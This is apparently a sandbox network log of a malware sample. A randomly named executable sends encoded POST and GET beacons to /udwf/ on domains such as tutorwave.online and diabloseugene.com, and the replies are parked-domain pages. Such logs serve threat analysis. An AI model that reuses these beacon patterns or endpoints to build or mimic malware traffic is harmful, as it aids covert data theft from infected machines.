Nov 10, 2023 09:28:20.903774977 CET	176	OUT	POST /udwf/ HTTP/1.1 Host: www.tutorwave.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.tutorwave.online Referer: http://www.tutorwave.online/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 43 38 33 43 47 54 6c 65 32 6f 50 73 77 51 6c 35 59 2b 38 53 44 35 67 57 53 31 7a 79 33 59 52 6c 74 52 59 57 4b 76 51 79 74 59 44 67 75 70 2b 32 45 4f 4c 63 41 42 38 6a 4c 79 7a 41 2f 66 69 69 4f 44 42 4d 31 32 55 6f 55 5a 45 68 71 51 32 6d 62 6b 58 57 33 69 62 48 50 6e 4d 47 43 46 79 43 7a 54 6c 4c 7a 49 45 76 4e 6a 35 30 34 41 66 62 53 38 36 76 2f 34 4a 59 48 6b 2b 49 77 6d 59 2b 61 6a 58 63 33 47 62 6b 38 7a 57 52 55 52 34 44 63 4e 65 32 58 49 6f 72 55 64 4c 72 4a 50 41 6f 5a 66 33 68 6e 33 48 6c 42 6d 50 44 39 43 2b 67 35 54 4e 78 66 70 52 37 33 58 79 52 61 52 36 56 43 73 31 38 77 70 75 46 6a 45 75 55 49 39 38 48 66 2b 47 53 46 68 6d 67 37 44 53 37 35 49 32 37 46 4f 42 51 77 66 4e 63 74 67 30 74 65 76 64 4e 61 5a 4f 58 65 49 32 6c 56 66 30 77 50 6a 79 53 6d 64 79 61 48 6c 6b 6c 32 42 69 4f 49 58 46 70 70 42 69 5a 32 55 30 44 46 66 73 4a 5a 68 4e 43 44 72 47 6a 66 47 45 4e 47 42 34 45 5a 6d 30 68 45 37 52 77 66 51 35 53 66 79 67 6d 79 46 74 4c 42 58 55 6b 55 53 48 46 67 4f 78 77 31 38 6b 65 6f 46 58 44 50 43 37 43 65 61 44 6c 44 6c 45 38 61 62 30 30 64 68 6e 44 4a 38 55 37 7a 41 54 38 79 41 79 64 71 35 52 2b 2b 79 7a 46 62 4f 36 53 52 4a 43 58 52 6b 4e 78 67 50 79 66 6c 4a 70 2b 48 37 4d 6b 57 48 72 32 64 4e 50 65 57 39 5a 37 4a 48 31 2b 58 45 65 73 39 68 31 54 53 74 6a 64 55 78 33 31 4d 73 4f 56 6a 43 48 32 6a 37 78 73 6c 32 74 49 49 42 65 53 51 36 39 63 39 68 47 6a 70 6f 43 4c 30 42 4b 61 79 74 49 72 65 33 4c 69 50 62 51 47 53 53 4a 47 64 65 58 50 34 5a 6c 63 4a 35 78 31 49 55 50 41 74 71 53 6d 62 48 4e 76 55 53 2b 44 4e 43 6f 66 7a 47 30 47 45 56 4e 7a 35 7a 79 67 2b 38 42 2b 4f 50 55 4e 48 4d 55 75 35 46 4a 70 30 4d 69 59 5a 64 49 64 6b 65 63 6b 6a 49 30 65 49 6b 6e 6e 63 42 34 62 54 58 36 47 75 6c 55 53 76 31 6a 72 50 58 76 49 4e 38 69 6d 54 44 71 32 57 64 4b 54 50 6f 4d 50 5a 4e 6d 61 31 47 66 4f 46 35 76 4b 51 55 48 4f 6b 37 33 65 32 2b 45 78 44 76 71 6d 49 6e 77 6d 36 52 43 61 42 6a 4e 51 61 72 72 56 6a 64 58 6e 54 4f 63 64 48 34 77 74 43 34 46 63 30 77 44 54 6f 79 46 4f 37 47 4d 61 76 45 52 67 42 50 4f 33 51 4d 76 75 37 6b 76 41 66 35 69 4d 64 75 57 77 75 75 48 70 46 41 7a 42 36 79 68 43 2f 78 47 6e 4b 73 56 76 4a 69 56 4d 58 52 7a 33 6c 68 48 77 57 56 54 38 4a 47 5a 43 7a 7a 50 4d 79 63 57 45 61 74 46 78 41 58 50 73 35 4a 50 78 4f 7a 32 49 6e 42 50 66 68 55 30 61 77 4d 6c 4b 35 50 6f 72 77 45 6f 31 46 54 61 55 70 50 44 53 71 56 54 73 31 56 54 4f 33 46 33 6a 58 36 55 49 6c 66 4b 49 47 6c 54 44 6e 77 46 41 69 6a 34 52 51 70 58 45 47 49 79 68 4d 67 65 64 33 4d 41 46 2b 7a 62 58 4b 58 42 44 42 70 53 71 49 64 39 79 41 56 73 2b 6b 64 46 55 50 5a 50 78 6c 34 39 4b 2f 45 42 62 43 4c 56 62 61 4e 4c 63 6c 4f 77 45 56 4e 37 7a 46 47 47 78 64 58 61 49 4e 78 73 33 6c 32 62 5a 74 54 4d 41 41 54 4b 79 38 36 47 44 38 5a 54 47 67 68 33 2b 6d 79 6b 4e 57 45 43 63 46 4e 75 61 77 33 73 35 70 65 65 54 6c 49 52 68 42 42 43 66 63 51 66 30 43 57 4f 52 68 6b 43 63 61 76 66 47 33 37 6b 5a 30 69 6c 5a 65 39 35 2f 33 69 31 57 6e 78 7a 6d 4a 37 4b 58 68 45 78 54 66 69 4f 6a 79 35 7a 65 33 46 63 2f 48 46 51 75 39 33 31 6c 41 78 70 4f 6e 2b 30 6e 79 6b 78 58 56 55 58 44 4c 6e 61 46 35 68 33 75 44 47 36 4d 76 31 4d 6e 6b 6e 41 72 49 55 50 4d 4f 38 4c 38 39 74 76 4d 6c 37 74 76 36 64 73 72 4e 61 55 55 74 64 2f 46 78 39 58 4f 41 77 76 42 76 6a 2f 4c 44 69 38 65 55 38 6d 56 2b 38 51 62 53 4d 72 65 7a 66 44 53 68 77 48 66 2b 77 64 6b 31 53 34 51 68 64 33 33 2f 37 68 58 69 67 51 49 34 2b 76 6f 36 33 44 76 45 55 4f 63 47 37 46 39 38 41 65 4c 51 43 44 67 62 65 4c 42 2f 63 36 74 5a 65 49 43 2f 61 46 57 4a 77 48 57 4c 75 43 58 42 4b 52 6d 55 42 64 32 37 44 36 64 34 66 54 45 4f 39 4d 6c 6a 73 52 38 Data Ascii: G0Yxd2Q=C83CGTle2oPswQl5Y+8SD5gWS1zy3YRltRYWKvQytYDgup+2EOLcAB8jLyzA/fiiODBM12UoUZEhqQ2mbkXW3ibHPnMGCFyCzTlLzIEvNj504AfbS86v/4JYHk+IwmY+ajXc3Gbk8zWRUR4DcNe2XIorUdLrJPAoZf3hn3HlBmPD9C+g5TNxfpR73XyRaR6VCs18wpuFjEuUI98Hf+GSFhmg7DS75I27FOBQwfNctg0tevdNaZOXeI2lVf0wPjySmdyaHlkl2BiOIXFppBiZ2U0DFfsJZhNCDrGjfGENGB4EZm0hE7RwfQ5SfygmyFtLBXUkUSHFgOxw18keoFXDPC7CeaDlDlE8ab00dhnDJ8U7zAT8yAydq5R++yzFbO6SRJCXRkNxgPyflJp+H7MkWHr2dNPeW9Z7JH1+XEes9h1TStjdUx31MsOVjCH2j7xsl2tIIBeSQ69c9hGjpoCL0BKaytIre3LiPbQGSSJGdeXP4ZlcJ5x1IUPAtqSmbHNvUS+DNCofzG0GEVNz5zyg+8B+OPUNHMUu5FJp0MiYZdIdkeckjI0eIknncB4bTX6GulUSv1jrPXvIN8imTDq2WdKTPoMPZNma1GfOF5vKQUHOk73e2+ExDvqmInwm6RCaBjNQarrVjdXnTOcdH4wtC4Fc0wDToyFO7GMavERgBPO3QMvu7kvAf5iMduWwuuHpFAzB6yhC/xGnKsVvJiVMXRz3lhHwWVT8JGZCzzPMycWEatFxAXPs5JPxOz2InBPfhU0awMlK5PorwEo1FTaUpPDSqVTs1VTO3F3jX6UIlfKIGlTDnwFAij4RQpXEGIyhMged3MAF+zbXKXBDBpSqId9yAVs+kdFUPZPxl49K/EBbCLVbaNLclOwEVN7zFGGxdXaINxs3l2bZtTMAATKy86GD8ZTGgh3+mykNWECcFNuaw3s5peeTlIRhBBCfcQf0CWORhkCcavfG37kZ0ilZe95/3i1WnxzmJ7KXhExTfiOjy5ze3Fc/HFQu931lAxpOn+0nykxXVUXDLnaF5h3uDG6Mv1MnknArIUPMO8L89tvMl7tv6dsrNaUUtd/Fx9XOAwvBvj/LDi8eU8mV+8QbSMrezfDShwHf+wdk1S4Qhd33/7hXigQI4+vo63DvEUOcG7F98AeLQCDgbeLB/c6tZeIC/aFWJwHWLuCXBKRmUBd27D6d4fTEO9MljsR8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.10	49727	84.32.84.32	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:23.619740963 CET	177	OUT	GET /udwf/?G0Yxd2Q=P+fiFlpl7OLgwg5VHMgiIoMqSXbT5qRAvhgaNfc+psLdu/aEMeH5P0Irdy+G4rOOLUFD4nVEMYENkV+qciPdkHTOCgwyI1K3xg==&vhQT=aV8PeNo0MvDl1 HTTP/1.1 Host: www.tutorwave.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:28:23.815479040 CET	178	IN	HTTP/1.1 200 OK Server: hcdn Date: Fri, 10 Nov 2023 08:28:23 GMT Content-Type: text/html Content-Length: 10066 Connection: close Vary: Accept-Encoding x-hcdn-request-id: f9c5cb9b94132774d2877d7f51617e99-phx-edge2 Expires: Fri, 10 Nov 2023 08:28:22 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 37 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 33 2e 32 2e 31 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 37 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3e 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 35 2e 33 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 26 73 75 62 73 65 74 3d 63 79 72 69 6c 6c 69 63 2c 63 79 72 69 6c 6c 69 63 2d 65 78 74 2c 67 72 65 65 6b 2c 67 72 65 65 6b 2d 65 78 74 2c 6c 61 74 69 6e 2d 65 78 74 2c 76 69 65 74 6e 61 6d 65 73 65 22 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;
Nov 10, 2023 09:28:23.815623999 CET	179	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 30 2e 37 64 65 67 2c 23 65 39 65 64 66 62 20 2d 35 30 2e 32 31 25 2c 23 66 36 66 38 66 64 20 33 31 2e 31 31 25 2c 23 66 66 66 20 31 36 36 2e 30 32 25 29 7d 68 31 Data Ascii: background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600!important;color:#333}h2{font-size:24px;font-weight:600}h3{font-size:22px;font-w
Nov 10, 2023 09:28:23.815680981 CET	181	IN	Data Raw: 76 3e 6c 69 3e 61 20 69 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 2d 62 61 72 20 69 6d 67 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 33 70 78 7d 2e 63 6f 6e 67 72 61 74 7a 7b 6d 61 72 67 69 6e 3a Data Ascii: v>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-container{display:flex;flex-direction:row}.message-subtitle{color:#2f1c6a;font-weight:700;font-size:24px;line-height:32px;margin-bo
Nov 10, 2023 09:28:23.815720081 CET	182	IN	Data Raw: 31 36 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 32 30 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 Data Ascii: 16px;min-height:20px;min-width:20px;vertical-align:middle;text-align:center;display:inline-block;padding:4px 8px;font-weight:700;border-radius:4px;background-color:#fc5185}@media screen and (max-width:768px){.message{width:100%;padding:35px 0}
Nov 10, 2023 09:28:23.815761089 CET	183	IN	Data Raw: 3e 3c 69 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 74 72 75 65 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 67 72 61 64 75 61 74 69 6f 6e 2d 63 61 70 22 3e 3c 2f 69 3e 20 54 75 74 6f 72 69 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 Data Ascii: ><i aria-hidden=true class="fas fa-graduation-cap"></i> Tutorials</a></li><li><a href=https://support.hostinger.com/en/ rel=nofollow><i aria-hidden=true class="fa-readme fab"></i>Knowledge base</a></li><li><a href=https://www.hostinger.com/aff
Nov 10, 2023 09:28:23.815800905 CET	185	IN	Data Raw: 63 65 73 73 66 75 6c 20 6f 6e 6c 69 6e 65 20 70 72 6f 6a 65 63 74 73 2e 3c 2f 70 3e 3c 62 72 3e 3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d 20 72 65 6c 3d 6e 6f 66 6f 6c 6c 6f 77 3e 46 69 6e Data Ascii: cessful online projects.</p><br><a href=https://www.hostinger.com rel=nofollow>Find your hosting plan</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title>Add website to your hostin
Nov 10, 2023 09:28:23.815839052 CET	186	IN	Data Raw: 6e 3c 74 3b 29 7b 69 66 28 35 35 32 39 36 3d 3d 28 36 33 34 38 38 26 28 72 3d 6f 5b 6e 2b 2b 5d 29 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 65 6e 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 Data Ascii: n<t;){if(55296==(63488&(r=o[n++])))throw new RangeError("UTF-16(encode): Illegal UTF-16 value");65535<r&&(r-=65536,e.push(String.fromCharCode(r>>>10&1023\|55296)),r=56320\|1023&r),e.push(String.fromCharCode(r))}return e.join("")}};var o=36,r=214
Nov 10, 2023 09:28:23.815876961 CET	187	IN	Data Raw: 69 66 28 74 29 66 6f 72 28 66 3d 30 2c 77 3d 6d 2e 6c 65 6e 67 74 68 3b 66 3c 77 3b 66 2b 2b 29 79 5b 66 5d 26 26 28 6d 5b 66 5d 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6d 5b 66 5d 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 Data Ascii: if(t)for(f=0,w=m.length;f<w;f++)y[f]&&(m[f]=String.fromCharCode(m[f]).toUpperCase().charCodeAt(0));return this.utf16.encode(m)},this.encode=function(t,a){var h,f,i,c,u,d,l,p,g,s,C,w;a&&(w=this.utf16.decode(t));var v=(t=this.utf16.decode(t.toLo
Nov 10, 2023 09:28:23.815913916 CET	188	IN	Data Raw: 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 61 74 68 4e 61 6d 65 22 29 3b 61 63 63 6f 75 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 70 75 6e 79 63 6f 64 65 2e 54 6f 55 6e 69 63 6f 64 65 28 70 61 74 68 4e 61 6d 65 29 3c 2f 73 Data Ascii: ument.getElementById("pathName");account.innerHTML=punycode.ToUnicode(pathName)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.10	49728	199.59.243.225	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:29.144850016 CET	189	OUT	POST /udwf/ HTTP/1.1 Host: www.diabloseugene.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.diabloseugene.com Referer: http://www.diabloseugene.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 55 34 5a 36 74 6d 34 46 78 6f 6a 74 58 4c 4f 6e 2f 34 54 34 41 45 73 37 56 38 79 73 47 7a 67 47 49 6f 57 61 37 67 72 35 6f 47 51 69 70 37 31 78 4c 61 64 41 54 76 42 56 4b 6a 78 67 39 76 30 41 61 49 53 7a 70 6c 43 50 63 44 53 70 70 38 44 39 49 6d 4e 2b 37 7a 77 53 78 6b 76 6d 41 4c 42 30 55 49 63 55 32 4c 69 57 4f 44 68 49 32 67 57 78 66 46 6c 5a 4b 5a 30 50 39 63 54 6e 35 6b 56 78 68 2f 6c 44 74 4e 34 6a 6f 30 4a 6e 6d 4d 4e 75 49 34 70 45 56 2b 39 68 50 4b 55 51 68 74 42 55 78 51 31 50 44 69 31 37 43 34 42 78 4a 6e 36 66 61 77 3d 3d Data Ascii: G0Yxd2Q=U4Z6tm4FxojtXLOn/4T4AEs7V8ysGzgGIoWa7gr5oGQip71xLadATvBVKjxg9v0AaISzplCPcDSpp8D9ImN+7zwSxkvmALB0UIcU2LiWODhI2gWxfFlZKZ0P9cTn5kVxh/lDtN4jo0JnmMNuI4pEV+9hPKUQhtBUxQ1PDi17C4BxJn6faw==
Nov 10, 2023 09:28:29.418311119 CET	191	IN	HTTP/1.1 200 OK date: Fri, 10 Nov 2023 08:28:28 GMT content-type: text/html; charset=utf-8 content-length: 1109 x-request-id: 8f8fcc29-11bc-4b7c-a6ba-031e1fd6e9d6 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_utrfvT18rLbkeWw3m+7aR4sW5K9D3ILMt3IRjGq+Uvf2ZaEZaFIKFbYzks2ocpn/4rY4FmPl0q6B7hNzo7390w== set-cookie: parking_session=8f8fcc29-11bc-4b7c-a6ba-031e1fd6e9d6; expires=Fri, 10 Nov 2023 08:43:29 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 75 74 72 66 76 54 31 38 72 4c 62 6b 65 57 77 33 6d 2b 37 61 52 34 73 57 35 4b 39 44 33 49 4c 4d 74 33 49 52 6a 47 71 2b 55 76 66 32 5a 61 45 5a 61 46 49 4b 46 62 59 7a 6b 73 32 6f 63 70 6e 2f 34 72 59 34 46 6d 50 6c 30 71 36 42 37 68 4e 7a 6f 37 33 39 30 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_utrfvT18rLbkeWw3m+7aR4sW5K9D3ILMt3IRjGq+Uvf2ZaEZaFIKFbYzks2ocpn/4rY4FmPl0q6B7hNzo7390w==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTk
Nov 10, 2023 09:28:29.418328047 CET	191	IN	Data Raw: 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 Data Ascii: SuQmCC"> <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOGY4ZmNjMjktMTFiYy00YjdjLWE2YmEtMDMxZTFmZDZlOWQ2IiwicGFnZV90aW1lIjoxNjk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.10	49729	199.59.243.225	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:33.133064985 CET	192	OUT	POST /udwf/ HTTP/1.1 Host: www.diabloseugene.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.diabloseugene.com Referer: http://www.diabloseugene.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 55 34 5a 36 74 6d 34 46 78 6f 6a 74 47 62 2b 6e 73 4a 54 34 51 55 73 6b 51 38 79 73 49 54 67 43 49 6f 4b 61 37 68 76 70 6f 54 41 69 70 65 78 78 4b 66 39 41 51 76 42 56 46 44 77 72 67 66 30 4c 61 49 65 4e 70 6b 2b 50 63 44 32 70 70 39 7a 39 49 52 5a 39 30 44 77 4d 6b 30 76 34 45 4c 42 30 55 49 63 55 32 4c 32 38 4f 44 35 49 32 51 6d 78 66 6b 6c 61 57 4a 30 4d 74 4d 54 6e 39 6b 56 74 68 2f 6b 6d 74 4d 6c 72 6f 78 56 6e 6d 4d 39 75 4a 74 64 46 66 2b 38 6f 41 71 56 68 6f 73 34 61 2f 69 6c 74 48 44 56 56 55 2b 73 35 49 79 57 4d 64 45 70 4d 62 51 45 77 30 78 6e 38 4f 47 44 2b 50 61 79 43 4d 35 4d 3d Data Ascii: 